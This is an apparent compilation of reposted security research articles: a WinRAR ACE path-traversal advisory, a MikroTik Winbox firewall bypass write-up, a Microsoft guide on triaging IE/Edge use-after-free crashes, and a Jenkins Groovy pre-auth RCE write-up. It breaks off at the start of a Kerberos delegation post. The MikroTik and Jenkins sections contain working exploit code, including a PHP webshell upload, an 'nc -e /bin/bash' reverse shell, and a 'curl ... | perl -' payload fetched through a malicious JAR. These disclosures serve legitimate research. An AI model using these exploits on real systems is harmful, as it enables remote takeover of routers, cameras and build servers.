“Nadav Grossman from Check Point Software Technologies informed us about a security vulnerability in UNACEV2.DLL library.
Aforementioned vulnerability makes possible to create files in arbitrary folders inside or outside of destination folder 
when unpacking ACE archives. 
WinRAR used this third party library to unpack ACE archives.
UNACEV2.DLL had not been updated since 2005 and we do not have access to its source code.
So we decided to drop ACE archive format support to protect security of WinRAR users.

We are thankful to Check Point Software Technologies for reporting  this issue.“

Check Point’s SandBlast Agent Behavioral Guard protect against these threats.

Check Point’s IPS blade provides protections against this threat: “RARLAB WinRAR ACE Format Input Validation Remote Code Execution (CVE-2018-20250)”

MikroTik Firewall & NAT Bypass Exploitation from WAN to LAN

Original text by Jacob Baines

A Design Flaw

In Making It Rain with MikroTik, I mentioned an undisclosed vulnerability in RouterOS. The vulnerability, which I assigned CVE-2019–3924, allows a remote, unauthenticated attacker to proxy crafted TCP and UDP requests through the router’s Winbox port. Proxied requests can even bypass the router’s firewall to reach LAN hosts.

Mistakes were made

The proxying behavior is neat, but, to me, the most interesting aspect is that attackers on the WAN can deliver exploits to (nominally) firewall protected hosts on the LAN. This blog will walk through that attack. If you want to skip right to the, sort of complicated, proof of concept video then here it is:

The Setup

To demonstrate this vulnerability, I need a victim. I don’t have to look far because I have a NUUO NVRMini2 sitting on my desk due to some previous vulnerability work. This NVR is a classic example of a device that should be hidden behind a firewall and probably segmented away from everything else on your network.

Join an IoT Botnet in one easy step!

In my test setup, I’ve done just that. The NVRMini2 sits behind a MikroTik hAProuter with both NAT and firewall enabled.

NVRMini2 should be safe from the attacker at 192.168.1.7

One important thing about this setup is that I opened port 8291 in the router’s firewall to allow Winbox access from the WAN. By default, Winbox is only available on the MikroTik hAP via the LAN. Don’t worry, I’m just simulatingreal world configurations.

The attacker, 192.168.1.7, shouldn’t be able to initiate communication with the victim at 10.0.0.252. The firewall should prevent that. Let’s see how the attacker can get at 10.0.0.252 anyways.

Probing to Bypass the Firewall

CVE-2019–3924 is the result of the router not enforcing authentication on network discovery probes. Under normal circumstances, The Dudeauthenticates with the router and uploads the probes over the Winbox port. However, one of the binaries that handles the probes (agent) fails to verify whether the remote user is authenticated.

Probes are a fairly simple concept. A probe is a set of variables that tells the router how to talk to a host on a given port. The probe supports up to three requests and responses. Responses are matched against a provided regular expression. The following is the builtin HTTP probe.

The HTTP probe sends a HEAD request to port 80 and checks if the response starts with “HTTP/1.”

In order to bypass the firewall and talk to the NVRMini2 from 192.168.1.7, the attacker just needs to provide the router with a probe that connects to 10.0.0.252:80. The obvious question is, “How do you determine if a LAN host is an NVRMini2?”

The NVRMini2 and the various OEM variations all have very similar landing page titles.

Using the title tag, you can construct a probe that detects an NVRMini2. The following is taken from my proof on concept on GitHub. I’ve again used my WinboxMessage implementation.

bool find_nvrmini2(Winbox_Session& session,
std::string& p_address,
boost::uint32_t p_converted_address,
boost::uint32_t p_converted_port)
{
WinboxMessage msg;
msg.set_to(104);
msg.set_command(1);
msg.set_request_id(1);
msg.set_reply_expected(true);
msg.add_string(7, "GET / HTTP/1.1\r\nHost:" + p_address +
"\r\nAccept:*/*\r\n\r\n");
msg.add_string(8, "Network Video Recorder Login</title>");
msg.add_u32(3, p_converted_address); // ip address
msg.add_u32(4, p_converted_port); // port
    session.send(msg);
msg.reset();
    if (!session.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return false;
}
    if (msg.has_error())
{
std::cerr << msg.get_error_string() << std::endl;
return false;
}
    return msg.get_boolean(0xd);
}

You can see I constructed a probe that sends an HTTP GET request and looks for “Network Video Recorder Login</title>” in the response. The router, 192.168.1.70, will take in this probe and send it to the host I’ve defined in msg.add_u32(3) and msg.add_u32(4). In this case, that would be 10.0.0.252 and 80 respectively. This logic bypasses the normal firewall rules.

The following screenshot shows the attacker (192.168.1.7) using the probe against 10.0.0.254 (Ubuntu 18.04) and 10.0.0.252 (NVRMini2). You can see that the attacker can’t even ping these devices. However, by using the router’s Winbox interface the attacker is able to reach the LAN hosts.

Discovery of the NVRMini2 on the supposedly unreachable LAN is neat, but I want to go a step further. I want to gain full access to this network. Let’s find a way to exploit the NVRMini2.

Crafting an Exploit

The biggest issue with probes is the size limit. The requests and response regular expressions can’t exceed a combined 220 bytes. That means any exploit will have to be concise. My NVRMini2 stack buffer overflow is anything but concise. It takes 170 bytes just to overflow the cookie buffer. Not leaving room for much else. But CVE-2018–11523 looks promising.

The code CVE-2018–11523 exploits. Yup.

CVE-2018–11523 is an unauthenticated file upload vulnerability. An attacker can use it to upload a PHP webshell. The proof of concept on exploit-db is 461 characters. Way too big. However, with a little ingenuity it can be reduced to 212 characters.

POST /upload.php HTTP/1.1
Host:a
Content-Type:multipart/form-data;boundary=a
Content-Length:96
--a
Content-Disposition:form-data;name=userfile;filename=a.php
<?php system($_GET['a']);?>
--a

This exploit creates a minimalist PHP webshell at a.php. Translating it into a probe request is fairly trivial.

bool upload_webshell(Winbox_Session& session,
boost::uint32_t p_converted_address,
boost::uint32_t p_converted_port)
{
WinboxMessage msg;
msg.set_to(104);
msg.set_command(1);
msg.set_request_id(1);
msg.set_reply_expected(true);
msg.add_string(7, "POST /upload.php HTTP/1.1\r\nHost:a\r\nContent-Type:multipart/form-data;boundary=a\r\nContent-Length:96\r\n\r\n--a\nContent-Disposition:form-data;name=userfile;filename=a.php\n\n<?php system($_GET['a']);?>\n--a\n");
msg.add_string(8, "200 OK");

msg.add_u32(3, p_converted_address);
msg.add_u32(4, p_converted_port);
    session.send(msg);
msg.reset();
    if (!session.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return false;
}
    if (msg.has_error())
{
std::cerr << msg.get_error_string() << std::endl;
return false;
}
    return msg.get_boolean(0xd);
}

Sending the above probe request through the router to 10.0.0.252:80 should create a basic PHP webshell.

Crafting a Reverse Shell

At this point you could start blindly executing commands on the NVR using the webshell. But being unable to see responses and constantly having to worry about the probe’s size restriction is annoying. Establishing a reverse shell back to the attacker’s box on 192.168.1.7 is a far more ideal solution.

Now, it seems to me that there is little reason for an embedded system to have nc with the -e option. Reason rarely seems to have a role in these types of things though. The NVRMini2 is no exception. Of course, nc -e is available.

bool execute_reverse_shell(Winbox_Session& session,
boost::uint32_t p_converted_address,
boost::uint32_t p_converted_port,
std::string& p_reverse_ip,
std::string& p_reverse_port)
{
WinboxMessage msg;
msg.set_to(104);
msg.set_command(1);
msg.set_request_id(1);
msg.set_reply_expected(true);
msg.add_string(7, "GET /a.php?a=(nc%20" + p_reverse_ip + "%20" + p_reverse_port + "%20-e%20/bin/bash)%26 HTTP/1.1\r\nHost:a\r\n\r\n");
msg.add_string(8, "200 OK");

msg.add_u32(3, p_converted_address);
msg.add_u32(4, p_converted_port);
    session.send(msg);
msg.reset();
    if (!session.receive(msg))
{
std::cerr << "Error receiving a response." << std::endl;
return false;
}
    if (msg.has_error())
{
std::cerr << msg.get_error_string() << std::endl;
return false;
}
    return msg.get_boolean(0xd);
}

The probe above executes the command “nc 192.168.1.7 1270 -e /bin/bash” via the webshell at a.php. The nc command will connect back to the attacker’s box with a root shell.

Putting It All Together

I’ve combined the three sections above into a single exploit. The exploit connects to the router, sends a discovery probe to a LAN target, uploads a webshell, and executes a reverse shell back to a WAN host.

albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$ ./nvr_rev_shell --proxy_ip 192.168.1.70 --proxy_port 8291 --target_ip 10.0.0.252 --target_port 80 --listening_ip 192.168.1.7 --listening_port 1270
[!] Running in exploitation mode
[+] Attempting to connect to a MikroTik router at 192.168.1.70:8291
[+] Connected!
[+] Looking for a NUUO NVR at 10.0.0.252:80
[+] Found a NUUO NVR!
[+] Uploading a webshell
[+] Executing a reverse shell to 192.168.1.7:1270
[+] Done!
albinolobster@ubuntu:~/routeros/poc/cve_2019_3924/build$

The listener gets the root shell as expected.

Conclusion

I found this bug while scrambling to write a blog to respond to a Zerodium tweet. I was not actively doing MikroTik research. Honestly, I’m just trying to get ready for BSidesDublin. What are the people actually doing MikroTik research finding? Are they turning their bugs over to MikroTik (for nothing) or are they selling those bugs to Zerodium?

Do I have to spell it out for you?

Don’t expose Winbox to the internet.

CVE-2018-20250: WinRAR Vulnerability Found after 19 Years of Possible Exploitation

Original text by Martin Beltov

A security team has announced the discovery of a critical vulnerability found in WinRAR, one of the most popular archive and compression tools used by computer users. The issue is estimated to have been a part of the software for 19 years or even more and it forced the development team to drop support for a file format.

CVE-2018-20250: WinRAR May Have Been Used For Malware Delivery For 19 Years

WinRAR as one of the most popular software downloaded and used by end users has been reported to contain an exploit that may have been part of the application for 19 years or even longer. The report came from the Check Point research team which reported that they have been running experiments on software trying to find weaknesses on common programs. During their investigation they uncovered an issue with an old and outdated dynamic link library (DLL) file which was compiled back in 2006 without featuring any protective mechanism. The experts investigated it further and discovered that exploitation can lead to a logical bug called absolute path traversalThis allows the hackers to execute remote code. Related: CVE-2018-16858: Remote Code Execution Bug in LibreOffice

The code analysis reveals multiple weaknesses in the extraction of several popular archive formats: RAR, LZH and ACE. The reason for this is a memory corruption however this is not the most serious issue. A parsing error with the ACE format led to the discovery that the outdated DLL file can be manipulated by malware as they do not have protective mechanism. A proof-of-concept demonstratrion has shown that by using a few simple parameters the whole program can be exploited.

Using crafted archive files computer hackers can trigger remote code execution sessions merely by making the users open them up — the dangerous files can be of different formats. The malicious code can be moved to the Startup Folders which means that it will be run automatically every time the computer is powered on. One of the dangerous effects of this is the fact that the UAC prompt is bypassed. For all of identified weaknesses security advisories have been posted:

  • CVE-2018-20250 — By crafting the filename field of the ACE format, the destination folder (extraction folder) is ignored, and the relative path in the filename field becomes an absolute Path. This logical bug, allows the extraction of a file to an arbitrary location which is effectively code execution.
  • CVE-2018-20251 — A validation function (in WinRAR code) is being called before extraction of ACE archives. The validation function inspects the filename field for each compressed file in the ACE archive. In case the filename is disallow by the validator function (for example, the filename contains path traversal patterns) The extraction operation should be aborted and no file or folder should be extracted. However, the check of the return value from the validator function made too late (in UNACEV2.dll), after the creation of files and folders. It prevent the write operation to the extracted files only.
  • CVE-2018-20252 — There is an out-of-bounds writes vulnerability during parsing of crafted ACE and RAR archive formats. Successful exploitation could lead to arbitrary code execution in the context of the current user.
  • CVE-2018-20253 — In WinRAR versions prior to and including 5.60, There is an out-of-bounds write vulnerability during parsing of a crafted LHA / LZH archive formats. Successful exploitation could lead to arbitrary code execution in the context of the current user.

Following the disclosure to the WinRAR team the developers dropped the DLL file from the package and discontinued support of the ACE format. All users are urged to update to the latest version of the program.

Triaging the exploitability of IE/EDGE crashes

Original text by swiat

Introduction

Both Internet Explorer (IE) and Edge have seen significant changes in order to help protect customers from security threats. This work has featured a number of mitigations that together have not only rendered classes of vulnerabilities not-exploitable, but also dramatically raised the cost for attackers to develop a working exploit.

Because of these changes, determining the exploitability of crashes has become increasingly complicated, as the effect of these mitigations must be taken into account during analysis. We have received a number of requests from the security community for clarification on how these mitigations affect exploitability.  To ensure that only valid issues are submitted, we thought it may be useful to offer some guidance.

 

Use after free mitigations

Use-after-free (UAF) is a common type of vulnerability in modern object-orientated software. They are caused when an instance of an object is freed while a pointer to the object is still kept by the program. Since the object instance has been freed, this pointer is dangling, pointing to unmapped memory. Such a vulnerability is exploitable when the unmapped memory is controllable by an attacker, and will be used when the dangling pointer is later dereferenced by the program. We can split UAF vulnerabilities into 3 classes based upon where the dangling pointer is stored: the stack, heap, and the registers.

We have developed two primary mitigations to protect against UAFs:

  • Memory Protector (MP) [IE10 and below]

MP is designed to protect objects against UAFs where the reference is stored on the stack, or in a register.

  • MemGC [Edge & IE11]

MemGC is a new replacement for MP, currently enabled on Edge and IE11. Protected objects are only freed when no references exist on the stack, heap or registers, offering complete coverage. 

 

Exploitability & Servicing

MemGC [Edge & IE11]

  • We consider UAFs that are addressed by MemGC strongly mitigated, and will not issue a security update for them.
  • The only exception for this are rare cases where zero writing the object leads to an exploitable state, although we have yet to see an occurrence of this.

Memory Protector [IE10 and below]

  • We consider stack and register based UAFs strongly mitigated and will not issue a security update for them, except in the circumstances explained below.
  • Heap reference based UAFs are not mitigated by MP, and so will still be addressed via a security update.

 

Triaging crashes

Memory protector

Memory protector (MP) is a mitigation first introduced in July 2014 initially for all supported versions of Internet Explorer, but now only applies to IE 10 and below. It is designed to mitigate a subset of use-after-free vulnerabilities, due to dangling pointers stored on the stack or the registers. At a high level, it works as follows:

  1. When delete is called on an object instance, its contents is zero wrote, and it is placed in a queue. Once the queue has reached a threshold size, we then begin the process of seeing if it is safe to free each object instance in the queue.
  2. To test to see if it is safe to free an object instance, we scan both the registers and all pointer aligned stack entries to see if there exists a pointer to the object. If no pointer is found then the object is freed, otherwise the object is kept in the queue.

Part (1) of the algorithm delays the potential freeing of the object to a later point in time, is controllable by an attacker, and as such is not considered a security mitigation.

To make it easier to determine the exploitability of these issues, MP has a mode called “Stress Mode”. Under this mode the delayed free component (1) of MP is disabled: stack/register scanning happens on every free, rather than when the queue has reached a threshold length. It can be enabled with the registry key:

HKLM:/Software/Microsoft/Internet Explorer/Main/Feature Control/FEATURE_MEMPROTECT_MODE/iexplore.exe DWORD 2

(note that this key, and “Stress Mode” are only applicable to MP, not MemGC).

Example crash

With the delayed free component of MP now disabled by forcing the object instance to be freed at the earliest possible instant, we can now concentrate on determining exploitability, based on Part (2), as shown by an illustrative example below:

In this case, we have a use-after-free vulnerability causing a near-null dereference. Tracing backwards, we can see that the value of eax was set a few instructions previously:

If we look at this object in memory, we see that has been zero wrote, and by checking the PageHeap End Magic we can see that this heap chunk is still allocated under Stress Mode:

Now we need to see if there are any stack references to this object instance, starting at the call frame when delete was called. This can be completed using windbg scripting: for example, scanning for references to an object with base address stored in ebx with size 0x30:

Checking stack reference locations with MP

In this case, we find a single reference to the object instance on the stack. With this information we must now check to see which call frame contains this reference.

Here, we show an example call stack at the point when the object is deleted:

If there is a reference to an object instance on the stack or registers, then MP will never free the object instance. Thus, if between the point delete is first called in frame_2 until the point when we crash with a near null dereference in frame_5 there is always a stack reference, the object instance cannot be freed and reallocated/controlled by an attacker.

In this example, the reference we found by scanning the stack (at 0x1024ae9c) is stored in frame_8. Since this reference is present all of the time between the freeing point in frame_2 and the crashing point in frame_8, we consider this case as not-exploitable since it is strongly mitigated by MP.

Two other main situations can also occur:

  1. If (for example) the stack reference was in frame_3 rather than frame_8, then there is a period between the freeing of the object and the crashing point when there are no stack references. This case may be exploitable since if the code path between these points can be slightly altered to force another call to delete, we will be left with an exploitable situation.
  2. When running under stress mode, the crash may now occur on a freed block since the delayed free component is disabled (usually due to the reference being stored on the heap). Under this circumstance, the case would be generally exploitable.

MemGC

MemGC is a new replacement for MP, currently available in Edge and all supported versions of IE11, and mitigates use-after-free vulnerabilities in a similar fashion as MP. However, it also offers additional protection by scanning the heap for references to protected object types, as well as the stack and registers. MemGC will zero write upon free and will delay the actual free until garbage collection is triggered and no references to the freed object are found.

Just like MP, mitigated use-after-free vulnerabilities will most likely result in a near-null pointer dereferences or occasionally in no crash at all. If you suspect that a near-null pointer dereference is actually a mitigated use-after-free vulnerability you can verify this with the following steps:

  • Find the position where the near-null value is read, determining the base pointer of the object:

If we dump the object, we can see that it has been zero wrote as before:

  • Trace back and find the allocation call stack for this chunk, using the base pointer that was found in the first step. If the object is allocated with edgehtml!MemoryProtection::HeapAlloc() or edgehtml!MemoryProtection::HeapAllocClear() it means that the object is tracked by MemGC e.g.

Similarly, when the object is freed, it will be via edgehtml!MemoryProtection::HeapFree() e.g.

To double check that the issue is successfully mitigated, we can scan for references to the object on both the heap and stack.

For scanning the stack, we can use the same technique as described in the Memory Protector section. We can then use the same criteria as described above to determine exploitability; if there exists a stack reference between the freeing point and crashing point, we consider it strongly mitigated by MemGC.

When scanning the heap, we use a similar method, by first scanning the heap for references with values between the base pointer and basepointer+object_size of the object we are interested in. If any references are found, we then just need to check to see what objects they are associated with. If the object containing the reference is also tracked by MemGC (i.e. allocated via HeapAlloc() or HeapAllocClear()), then MemGC will not free the object we are interested in, so we consider it strongly mitigated by MemGC.

In this example, if we use the stack scanning command from above, we see that there is a reference on the stack preventing the object from being freed between the deletion and crashing points, making it successfully mitigated by MemGC.

Conclusions

In conclusion these new mitigations dramatically enhance the security by making sets of use-after-free vulnerabilities non-exploitable. When triaging issues in both IE & Edge, the behavior of these mitigations needs to be taken into account in order to determine the exploitability of these issues.

Acknowledgments

We would like to thank the following people for their contribution to this post:

Chris Betz, Crispin Cowan, John Hazen, Gavin Thomas, Marek Zmyslowski, Matt Miller, Mechele Gruhn, Michael Plucinski, Nicolas Joly, Phil Cupp, Sermet Iskin, Shawn Richardson and Suha Can

Stephen Fleming & Richard van Eeden.  MSRC Engineering, Vulnerabilities & Mitigations Team.

Hacking Jenkins Part 2 — Abusing Meta Programming for Unauthenticated RCE!

Original text by orange

Hello everyone!

This is the Hacking Jenkins series part two! For those people who still have not read the part one yet, you can check following link to get some basis and see how vulnerable Jenkins’ dynamic routing is!

As the previous article said, in order to utilize the vulnerability, we want to find a code execution can be chained with the ACL bypass vulnerability to a well-deserved pre-auth remote code execution! But, I failed. Due to the feature of dynamic routing, Jenkins checks the permission again before most dangerous invocations(Such as the Script Console)! Although we could bypass the first ACL, we still can’t do much things 🙁

After Jenkins released the Security Advisory and fixed the dynamic routing vulnerability on 2018-12-05, I started to organize my notes in order to write this Hacking Jenkins series. While reviewing notes, I found another exploitation way on a gadget that I failed to exploit before! Therefore, the part two is the story for that! This is also one of my favorite exploits and is really worth reading 🙂

Vulnerability Analysis


First, we start from the Jenkins Pipeline to explain CVE-2019-1003000! Generally the reason why people choose Jenkins is that Jenkins provides a powerful Pipeline feature, which makes writing scripts for software building, testing and delivering easier! You can imagine Pipeline is just a powerful language to manipulate the Jenkins(In fact, Pipeline is a DSL built with Groovy)

In order to check whether the syntax of user-supplied scripts is correct or not, Jenkins provides an interface for developers! Just think about if you are the developer, how will you implement this syntax-error-checking function? You can just write an AST(Abstract Syntax Tree) parser by yourself, but it’s too tough. So the easiest way is to reuse existing function and library!

As we mentioned before, Pipeline is just a DSL built with Groovy, so Pipeline must follow the Groovy syntax! If the Groovy parser can deal with the Pipeline script without errors, the syntax must be correct! The code fragments here shows how Jenkins validates the Pipeline:


public JSON doCheckScriptCompile(@QueryParameter String value) {
    try {
        CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build();
        new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value);
    } catch (CompilationFailedException x) {
        return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray());
    }
    return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON();
    // Approval requirements are managed by regular stapler form validation (via doCheckScript)
}

Here Jenkins validates the Pipeline with the method GroovyClassLoader.parseClass(…)! It should be noted that this is just an AST parsing. Without running 

execute()
 method, any dangerous invocation won’t be executed! If you try to parse the following Groovy script, you get nothing 🙁


this.class.classLoader.parseClass('''
print java.lang.Runtime.getRuntime().exec("id")
''');

From the view of developers, the Pipeline can control Jenkins, so it must be dangerous and requires a strict permission check before every Pipeline invocation! However, this is just a simple syntax validation so the permission check here is more less than usual! Without any 

execute()
 method, it’s just an AST parser and must be safe! This is what I thought when the first time I saw this validation. However, while I was writing the technique blog, Meta-Programming flashed into my mind!

What is Meta-Programming


Meta-Programming is a kind of programming concept! The idea of Meta-Programming is providing an abstract layer for programmers to consider the program in a different way, and makes the program more flexible and efficient! There is no clear definition of Meta-Programming. In general, both processing the program by itself and writing programs that operate on other programs(compiler, interpreter or preprocessor…) are Meta-Programming! The philosophy here is very profound and could even be a big subject on Programming Language!

If it is still hard to understand, you can just regard 

eval(...)
 as another Meta-Programming, which lets you operate the program on the fly. Although it’s a little bit inaccurate, it’s still a good metaphor for understanding! In software engineering, there are also lots of techniques related to Meta-Programming. For example:

  • C Macro
  • C++ Template
  • Java Annotation
  • Ruby (Ruby is a Meta-Programming friendly language, even there are books for that)
  • DSL(Domain Specific Languages, such as Sinatra and Gradle)

When we are talking about Meta-Programming, we classify it into (1)compile-time and (2)run-time Meta-Programming according to the scope. Today, we focus on the compile-time Meta-Programming!

P.S. It’s hard to explain Meta-Programming in non-native language. If you are interested, here are some materials! WikiRef1Ref2
P.S. I am not a programming language master, if there is anything incorrect or inaccurate, please forgive me <(_ _)>

How to Exploit?


From the previous section we know Jenkins validates Pipeline by parseClass(…) and learn that Meta-Programming can poke the parser during compile-time! Compiling(or parsing) is a hard work with lots of tough things and hidden features. So, the idea is, is there any side effect we can leverage?

There are many simple cases which have proved Meta-Programming can make the program vulnerable, such as he macro expansion in C language:


#define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
#define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a
#define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b
#define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c
#define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d
#define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e
__int128 x[]={f,f,f,f,f,f,f,f};

or the compiler resource bomb(make a 16GB ELF by just 18 bytes):


int main[-1u]={1};

or calculating the Fibonacci number by compiler


template&lt;int n>
struct fib {
    static const int value = fib&lt;n-1>::value + fib&lt;n-2>::value;
};
template&lt;> struct fib&lt;0> { static const int value = 0; };
template&lt;> struct fib&lt;1> { static const int value = 1; };

int main() {
    int a = fib&lt;10>::value; // 55
    int b = fib&lt;20>::value; // 6765
    int c = fib&lt;40>::value; // 102334155
}

From the assembly language of compiled binary, we can make sure the result is calculated at compile-time, not run-time!


$ g++ template.cpp -o template
$ objdump -M intel -d template
...
00000000000005fa &lt;main>:
 5fa:   55                      push   rbp
 5fb:   48 89 e5                mov    rbp,rsp
 5fe:   c7 45 f4 37 00 00 00    mov    DWORD PTR [rbp-0xc],0x37
 605:   c7 45 f8 6d 1a 00 00    mov    DWORD PTR [rbp-0x8],0x1a6d
 60c:   c7 45 fc cb 7e 19 06    mov    DWORD PTR [rbp-0x4],0x6197ecb
 613:   b8 00 00 00 00          mov    eax,0x0
 618:   5d                      pop    rbp
 619:   c3                      ret
 61a:   66 0f 1f 44 00 00       nop    WORD PTR [rax+rax*1+0x0]
...

For more examples, you can refer to the article Build a Compiler Bomb on StackOverflow!

First Attempt

Back to our exploitation, Pipeline is just a DSL built with Groovy, and Groovy is also a Meta-Programming friendly language. We start reading the Groovy official Meta-Programming manual to find some exploitation ways. In the section 2.1.9, we found the 

@groovy.transform.ASTTest
 annotation. Here is its description:

@ASTTest
 is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the Bytecode is produced. 
@ASTTest
 can be placed on any annotable node and requires two parameters:

What! perform assertions on the AST? Isn’t that what we want? Let’s write a simple Proof-of-Concept in local environment first:


this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("touch pwned")
})
def x
''');

$ ls
poc.groovy

$ groovy poc.groovy
$ ls
poc.groovy  pwned

Cool, it works! However, while reproducing this on the remote Jenkins, it shows:

unable to resolve class org.jenkinsci.plugins.workflow.libs.Library

What the hell!!! What’s wrong with that?

With a little bit digging, we found the root cause. This is caused by the Pipeline Shared Groovy Libraries Plugin! In order to reuse functions in Pipeline, Jenkins provides the feature that can import customized library into Pipeline! Jenkins will load this library before every executed Pipeline. As a result, the problem become lack of corresponding library in classPath during compile-time. That’s why the error 

unsable to resolve class
 occurs!

How to fix this problem? It’s simple! Just go to Jenkins Plugin Manager and remove the Pipeline Shared Groovy Libraries Plugin! It can fix the problem and then we can execute arbitrary code without any error! But, this is not a good solution because this plugin is installed along with the Pipeline. It’s lame to ask administrator to remove the plugin for code execution! We stop digging this and try to find another way!

Second Attempt

We continue reading the Groovy Meta-Programming manual and found another interesting annotation — 

@Grab
. There is no detailed information about 
@Grab
 on the manual. However, we found another article — Dependency management with Grape on search engine!

Oh, from the article we know Grape is a built-in JAR dependency management in Groovy! It can help programmers import the library which are not in classPath. The usage looks like:


@Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE')
import org.springframework.jdbc.core.JdbcTemplate

By using 

@Grab
 annotation, it can import the JAR file which is not in classPath during compile-time automatically! If you just want to bypass the Pipeline sandbox via a valid credential and the permission of Pipeline execution, that’s enough. You can follow the PoCproveded by @adamyordan to execute arbitrary commands!

However, without a valid credential and 

execute()
 method, this is just an AST parser and you even can’t control files on remote server. So, what can we do? By diving into more about 
@Grab
, we found another interesting annotation — 
@GrabResolver
:


@GrabResolver(name='restlet', root='http://maven.restlet.org/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet

If you are smart enough, you would like to change the 

root
 parameter to a malicious website! Let’s try this in local environment:


this.class.classLoader.parseClass('''
@GrabResolver(name='restlet', root='http://orange.tw/')
@Grab(group='org.restlet', module='org.restlet', version='1.1.6')
import org.restlet
''')

11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0"

Wow, it works! Now, we believe we can make Jenkins import any malicious library by Grape! However, the next problem is, how to get code execution?

The Way to Code Execution


In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code?

By diving into Grape implementation on Groovy, we realized the library fetching is done by the class groovy.grape.GrapeIvy! We started to find is there any way we can leverage, and we noticed an interesting method processOtherServices(…)!


void processOtherServices(ClassLoader loader, File f) {
    try {
        ZipFile zf = new ZipFile(f)
        ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods")
        if (serializedCategoryMethods != null) {
            processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods))
        }
        ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners")
        if (pluginRunners != null) {
            processRunners(zf.getInputStream(pluginRunners), f.getName(), loader)
        }
    } catch(ZipException ignore) {
        // ignore files we can't process, e.g. non-jar/zip artifacts
        // TODO log a warning
    }
}

JAR file is just a subset of ZIP format. In the processOtherServices(…), Grape registers servies if there are some specified entry points. Among them, the 

Runner
 interests me. By looking into the implementation of processRunners(…), we found this:


void processRunners(InputStream is, String name, ClassLoader loader) {
    is.text.readLines().each {
        GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance()
    }
}

Here we see the 

newInstance()
. Does it mean that we can call 
Constructor
 on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file 
META-INF/services/org.codehaus.groovy.plugins.Runners
 and we can invoke the 
Constructor
 and execute arbitrary code!

Here is the full exploit:


public class Poc {
    public Poc(){
        try {
            String payload = "curl orange.tw/bc.pl | perl -";
            String[] cmds = {"/bin/bash", "-c", payload};
            java.lang.Runtime.getRuntime().exec(cmds);
        } catch (Exception e) { }

    }
}

$ javac Orange.java
$ mkdir -p META-INF/services/
$ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners
$ find .
./Orange.java
./Orange.class
./META-INF
./META-INF/services
./META-INF/services/org.codehaus.groovy.plugins.Runners

$ jar cvf poc-1.jar tw/
$ cp poc-1.jar ~/www/tw/orange/poc/1/
$ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar
HTTP/1.1 200 OK
Date: Sat, 02 Feb 2019 11:10:55 GMT
...

PoC:


http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
?value=
@GrabConfig(disableChecksums=true)%0a
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
@Grab(group='tw.orange', module='poc', version='1')%0a
import Orange;

Video:

Epilogue


With the exploit, we can gain full access on remote Jenkins server! We use Meta-Programming to import malicious JAR file during compile-time, and executing arbitrary code by the Runner service! Although there is a built-in Groovy Sandbox(Script Security Plugin) on Jenkins to protect the Pipeline, it’s useless because the vulnerability is in compile-time, not in run-time!

Because this is an attack vector on Groovy core, all methods related to the Groovy parser are affected! It breaks the developer’s thought which there is no execution so there is no problem. It is also an attack vector that requires the knowledge about computer science. Otherwise, you cannot think of the Meta-Programming! That’s what makes this vulnerability interesting. Aside from entry points 

doCheckScriptCompile(...)
 and 
toJson(...)
 I reported, after the vulnerability has been fixed, Mikhail Egorov also found another entry point quickly to trigger this vulnerability!

Apart from that, this vulnerability can also be chained with my previous exploit on Hacking Jenkins Part 1 to bypass the Overall/Read restriction to a well-deserved pre-auth remote code execution. If you fully understand the article, you know how to chain 😛

Thank you for reading this article and hope you like it! Here is the end of Hacking Jenkins series, I will publish more interesting researches in the future 🙂

“Relaying” Kerberos — Having fun with unconstrained delegation

Original text by Dirk-jan Mollema

There have been some interesting new developments recently to abuse Kerberos in Active Directory, and after my dive into Kerberos across trusts a few months ago, this post is about a relatively unknown (from attackers perspective), but dangerous feature: unconstrained Kerberos delegation. During the writing of this blog, this became quite a bit more relevant with the discovery of some intersting RPC calls that can get Domain Controllers to authenticate to you, which even allow for compromise across forest boundaries. Then there was the discovery of PrivExchange which can make Exchange authenticate in a similar way. Because tooling for unconstrained delegation abuse is quite scarce, I wrote a new toolkit, krbrelayx, which can abuse unconstrained delegation and get Ticket Granting Tickets (TGTs) from users connecting to your host. In this blog we will dive deeper into unconstrained delegation abuse and into some more advanced attacks that are possible with the krbrelayx toolkit.

Relaying Kerberos???

